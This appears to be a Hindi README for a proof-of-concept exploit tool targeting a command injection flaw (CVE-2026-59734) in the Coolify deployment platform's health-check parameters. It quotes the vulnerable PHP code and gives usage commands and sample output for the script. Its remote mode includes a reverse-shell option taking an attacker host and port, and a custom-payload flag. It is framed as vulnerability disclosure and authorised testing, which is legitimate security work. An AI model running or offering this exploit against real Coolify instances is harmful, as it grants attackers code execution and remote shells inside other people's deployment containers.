🎯 भेद्यता के बारे में

Coolify एक लोकप्रिय ओपन-सोर्स, स्व-होस्टेड डिप्लॉयमेंट प्लेटफॉर्म है (30K+ GitHub स्टार) — जो Heroku, Vercel और Netlify का मुफ्त विकल्प है।

कूलिफ़ाई के स्वास्थ्य जांच कॉन्फ़िगरेशन में एक गंभीर OS कमांड इंजेक्शन भेद्यता पाई गई। health_check_host, health_check_method, और health_check_path पैरामीटर बिना किसी सैनिटाइज़ेशन के सीधे शेल कमांड में डाले जाते हैं, जिससे कोई भी प्रमाणित उपयोगकर्ता डिप्लॉयमेंट कंटेनरों के अंदर मनमाने कमांड निष्पादित कर सकता है।

┌──────────────────┬──────────────────────────────────────┐
│ CVE ID           │ CVE-2026-59734                       │
│ Type             │ OS Command Injection (CWE-78)        │
│ Severity         │ HIGH — CVSS 8.8                      │
│ Attack Vector    │ Network (Authenticated)              │
│ Affected         │ Coolify <= v4.0.0-beta.460           │
│ Fixed In         │ Coolify >= v4.0.0-beta.469           │
│ Fix Commit       │ 23f9156c7                            │
│ Reporter         │ CyberTechAjju                        │
└──────────────────┴──────────────────────────────────────┘

// app/Jobs/ApplicationDeploymentJob.php — generate_healthcheck_commands()

// ⚠️ User input directly in shell command — NO escapeshellarg()!
$generated_healthchecks_commands = [
    "curl -s -X {$this->application->health_check_method} -f " .
    "{$this->application->health_check_scheme}://" .
    "{$this->application->health_check_host}:" .
    "{$health_check_port}" .
    "{$this->application->health_check_path} > /dev/null || exit 1",
];

🛠️ यह उपकरण क्या करता है

यह PoC स्क्रिप्ट CVE-2026-59734 को दो मोड में मान्य करती है और इसका शोषण करती है:

विशेषताएं

• 🧪 4 स्थानीय परीक्षण — host, method, path के माध्यम से इंजेक्शन को मान्य करता है + पुष्टि करता है कि escapeshellarg() फिक्स काम करता है
• 🔑 प्रमाणीकरण सत्यापन — शोषण का प्रयास करने से पहले API टोकन और अनुमतियों की जाँच करता है
• 📋 संस्करण पहचान — कूलिफ़ाई संस्करण का पता लगाता है और यदि पहले से पैच किया गया है तो चेतावनी देता है
• 🎯 प्रूफ टोकन — गलत सकारात्मक परिणामों को रोकने के लिए अद्वितीय टोकन का उपयोग करता है
• 🐚 रिवर्स शेल मोड — --lhost / --lport के साथ अंतर्निहित रिवर्स शेल पेलोड
• 🧹 सफाई मोड — शोषण के बाद मूल स्वास्थ्य जांच कॉन्फ़िगरेशन को पुनर्स्थापित करता है
• 🛡️ इंजेक्शन सत्यापन — पुष्टि करता है कि सर्वर ने पेलोड को बिना सैनिटाइज़ किए संग्रहीत किया

⚡ त्वरित आरंभ

स्थानीय मान्यता (सुरक्षित और ऑफ़लाइन)

git clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh

# Run safe local validation
./coolify_healthcheck_rce_poc.sh --local

अपेक्षित आउटपुट:

═══ LOCAL VULNERABILITY PATTERN VALIDATION ═══

┌─ Test 1: health_check_host injection
│  ✅ VULNERABLE — Injected command executed successfully

┌─ Test 2: health_check_method injection
│  ✅ VULNERABLE — Method parameter also injectable

┌─ Test 3: health_check_path injection
│  ✅ VULNERABLE — Path parameter also injectable

┌─ Test 4: Verify that escapeshellarg() fixes the issue
│  ✅ SAFE — Sanitized input prevents injection

रिमोट शोषण (केवल अधिकृत परीक्षण)

# Basic PoC — writes proof file inside the container
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID

# Reverse shell
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID \
  --lhost YOUR_IP \
  --lport 4444

# With auto-cleanup (restores original config after exploit)
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID \
  --cleanup

📋 सभी विकल्प

उपयोग:

  स्थानीय मान्यता (सुरक्षित, ऑफ़लाइन):
    ./coolify_healthcheck_rce_poc.sh --local

  रिमोट शोषण (प्रमाणीकरण आवश्यक):
    ./coolify_healthcheck_rce_poc.sh --remote --url <URL> --token <TOKEN> --uuid <UUID> [OPTIONS]

विकल्प:
  --url       कूलिफ़ाई इंस्टेंस URL (उदा. https://coolify.example.com)
  --token     API बियरर टोकन
  --uuid      लक्ष्य एप्लिकेशन UUID
  --payload   कस्टम इंजेक्शन पेलोड
  --lhost     रिवर्स शेल के लिए हमलावर IP
  --lport     रिवर्स शेल के लिए हमलावर पोर्ट (डिफ़ॉल्ट: 4444)
  --cleanup   शोषण के बाद मूल कॉन्फ़िगरेशन पुनर्स्थापित करें

🔍 API टोकन और ऐप UUID कैसे प्राप्त करें

API टोकन:

1. कूलिफ़ाई डैशबोर्ड में लॉगिन करें
2. सेटिंग्स → API टोकन पर जाएं
3. एक नया टोकन जनरेट करें

ऐप UUID:

curl -s https://YOUR-COOLIFY/api/v1/applications \
  -H "Authorization: Bearer YOUR_TOKEN" | jq '.[].uuid'

📖 पूरा लेख

मैंने एक विस्तृत ब्लॉग पोस्ट लिखा है जो पूरी खोज, शोषण और सीखे गए सबक बताता है:

🔗 How I Found an OS Command Injection (RCE) in Coolify — Medium

🎥 वीडियो वॉकथ्रू

YouTube पर पूरा शोषण डेमो देखें:

🔗 CVE-2026-59734 — Coolify RCE Demo — YouTube

✅ समयरेखा

⚠️ कानूनी अस्वीकरण